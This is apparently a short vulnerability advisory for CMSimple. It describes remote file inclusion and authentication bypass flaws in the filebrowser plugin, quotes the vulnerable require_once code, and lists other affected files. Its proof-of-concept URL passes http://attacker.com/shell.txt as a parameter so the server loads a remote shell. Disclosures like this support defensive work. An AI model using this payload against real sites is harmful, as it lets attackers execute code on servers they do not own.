source: https://www.securityfocus.com/bid/68961/info CMSimple is prone to multiple security vulnerabilities including: 1. Multiple arbitrary PHP code-execution vulnerabilities 2. A weak authentication security-bypass vulnerability 3. Multiple security vulnerabilities An attacker can exploit these issues to bypass certain security restrictions, perform unauthorized actions and execute arbitrary script code in the context of the affected application. This may aid in further attacks. vulnerable file "http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php" Vulnerable Code : -----------------------------------vulnerable Code---------------------------------------- require_once $pth['folder']['plugin'] . 'classes/filebrowser_view.php'; require_once $pth['folder']['plugin'] . 'classes/filebrowser.php'; exploit Code : -------------------------------------PoC---------------------------------------- http://www.example.com/CMSimple/plugins/filebrowser/classes/required_classes.php?pth[folder][plugin]=http://attacker.com/shell.txt? also embedded These files : CMSimple/2lang/index.php CMSimple/2site/index.php CMSimple/cmsimple/cms.php CMSimple/index.php CMSimple/plugins/index.php